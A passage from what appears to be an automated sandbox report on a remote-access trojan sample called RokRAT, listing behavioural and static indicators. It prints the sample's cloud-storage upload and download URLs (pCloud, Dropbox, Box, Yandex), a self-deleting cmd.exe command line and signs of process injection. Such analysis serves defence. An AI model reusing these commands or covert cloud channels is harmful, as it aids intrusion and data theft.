"00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "api.pcloud.com0" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "api.pcloud.com/getfilelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found string "Host: api.pcloud.com" (Indicator: "api.pcloud.com"; Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp")34:T2e89,Found URL "http://127.0.0.1/https://api.box.com/oauth2/tokenhttps://account.box.com/api/oauth2/authorizehttps://api.box.com/2.0/folders/%s/itemsfolderfilepostdeletehttps://api.box.com/2.0/files/%s/contenthttps://api.box.com/2.0/files/%shttps://api.box.com/2.0/files/%s/trashhttps://upload.box.com/api/2.0/files/contentmultipart/form-data;boundary=--opxer--https://api.box.com/2.0/folders/%serrorvar" - Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp") Found URL "https://api.dropboxapi.com/2/files/deletehttps://content.dropboxapi.com/2/files/uploadapplication/octet-stream" - Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp") Found URL "https://content.dropboxapi.com/2/files/downloadhttps://api.pcloud.com/oauth2_tokenhttps://my.pcloud.com/oauth2/authorizehttps://api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1multipart/form-data;boundary=--wwjaughalvncjwiajs--https://api.pcloud.com/getfilelink?path=%s&forcedownload=1&skipfilename=1https://%s%shttps://api.pcloud.com/deletefile?path=%strue%s/%soauth" - Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp") Found URL "https://cloud-api.yandex.net/v1/disk/resources?path=%s&permanently=%sfalsehttps://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%shttps://cloud-api.yandex.net/v1/disk/resources/download?path=%simage/jpeg%s%04x%04x.tmpkernel32\%d.datsystem\currentcontrolset\services\mssmbios\datasmbiosdata/def_%s.jpg/adi.bin/ddi.bin/adx.enc/ddx.enc/ersp.enc/pho_%s_%d.jpgkillfvpezb8odicfsnhjzqmkbo7zjkyxal509nzzfnnu2tosb53kxckya([a-za-z0-9])b([" - Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp") Found URL "https://api.pcloud.com/getfilelink?path=/def_7131362c.jpg&forcedownload=1&skipfilename=1api.pcloud.comisallowedcert_autoupdate_1=<5/:\windows\system32;c:\windows\system32;c:\windows\system;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?emgvw,czcaucoom" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdigicert" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mng+" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0ug6" - Source: "00000000-00004360.00000000.67175.03120000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.coc nul & del \"C:\\e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe\"\" on 2018-2-2.22:03:53.165","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"wscript.exe\" (UID: 00008946-00001216)\n Spawned process \"cmd.exe\" with commandline \"/C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe\"\" (UID: 00008956-00002504)\n Spawned process \"PING.EXE\" with commandline \"ping 0.1.1.2 -n 1 -w 4000\" (UID: 00008958-00002500)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\System32\\wscript.exe\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\wscript.exe.mui\"\n \"\" touched file \"%WINDIR%\\system32\\en\\wscript.exe.mui\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://dmd.metaservices.microsoft.com/dms/metadata.svc\"\n Pattern match: \"http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata\"\n Pattern match: \"http://www.symauth.com/cps0\"\n Pattern match: \"http://www.symauth.com/rpa0\"\n Pattern match: \"http://www.symauth.com/cps0*\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.93765989526","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"\" is creating a new process (Name: \"HKCU\\Control Panel\\Desktop\\MuiCached\", Handle: 28)\n \"\" is creating a new process (Name: \"%WINDIR%\\System32\\wscript.exe\", Handle: 52)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"ecmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\"\n Heuristic match: \"cmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\"\n Heuristic match: \"/C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd.exe\"\"\n Heuristic match: \"ping 0.1.1.2 -n 1 -w 4000\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping 0.1.1.2 -n 1 -w 4000\" (UID: 00008958-00002500)","origin":"Monitored Target","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryA\n CreateRemoteThread\n LockResource\n GetCommandLineW\n UnhandledExceptionFilter\n GetStartupInfoW\n GetProcAddress\n VirtualAllocEx\n WriteFile\n GetTempPathW\n GetStartupInfoA\n GetModuleHandleW\n WriteProcessMemory\n TerminateProcess\n CreateProcessA\n FindResourceW\n CreateProcessW\n Sleep\n CreateFileA\n GetTickCount\n VirtualAlloc","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"PING.EXE\" wrote bytes \"c04e9b7720549c77e0659c77b5389d770000000000d0887600000000c5ea88760000000088ea887600000000e9688d7582289d77ee299d7700000000d2698d75000000007dbb88760000000009be8d7500000000ba18887600000000\" to virtual address \"0x773B1000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"36/66 Antivirus vendors marked sample as malicious (54% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"36/66 Antivirus vendors marked sample as malicious (54% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\wscript.exe\" (Handle: 28)\n \"\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\wscript.exe\" (Handle: 28)\n \"\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\wscript.exe\" (Handle: 28)\n \"\" wrote 522848 bytes to a remote process \"%WINDIR%\\System32\\wscript.exe\" (Handle: 28)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a74acc37ca3e144cd3e1063"},{"report_type":"sandbox","report_id":"5a87c68b7ca3e14b7817e2a3"},{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"RokRAT.exe\" called \"FindResourceW\" with parameter \"105\" - (UID: 00000000-00002672)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"RokRAT.exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '3404048'}\" (UID: 00000000-00002672)\n \"wscript.exe\" called \"LoadResource with parameter {'hModule': '1936850944', 'hResInfo': '84936368'}\" (UID: 00000000-00004360)\n \"wscript.exe\" called \"LoadResource with parameter {'hModule': '1942618112', 'hResInfo': '84346424'}\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"MsgWaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"MsgWaitForMultipleObjectsEx\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"RokRAT.exe\")\n Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"RokRAT.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"RokRAT.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"RokRAT.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"RokRAT.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.866466676254411","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"wscript.exe\" called \"IsWow64Process\" with parameter \"4360\" - (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"wscript.exe\" called \"GetWindowTextW\" with parameter \"3000\" - (UID: 00000000-00004360)\n \"wscript.exe\" called \"GetWindowTextW\" with parameter \"3100\" - (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"wscript.exe\" called \"GetActiveWindow\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"wscript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$26","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"wscript.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000171203000000000000000014fb0f0145e4ba77f84013031f000000f0fa0f01e41c120379e4ba7791ec975a00000000583f1203e0171203000000001f0000000000000000000000dcfa0f0100000000ecfb0f01506abc7745ee5c2cfeffffff79e4ba772335357734fb0f015018120301000000cfa8c075e079d70000b0fc00 (UID: 00000000-00004360)\n \"wscript.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000000000000027038000000000000000000000000cd60f01ee13b97780000000ee13b977000000000000000080000000f062ca73b0238e762cd60f015072f575000027030000000080000000f062ca7302000000002fca7348d60f01fb62ca73010000008004cb73885ff77500000000e91f470178d60f01b864ca73f42eca73 (UID: 00000000-00004360)","origin":"API 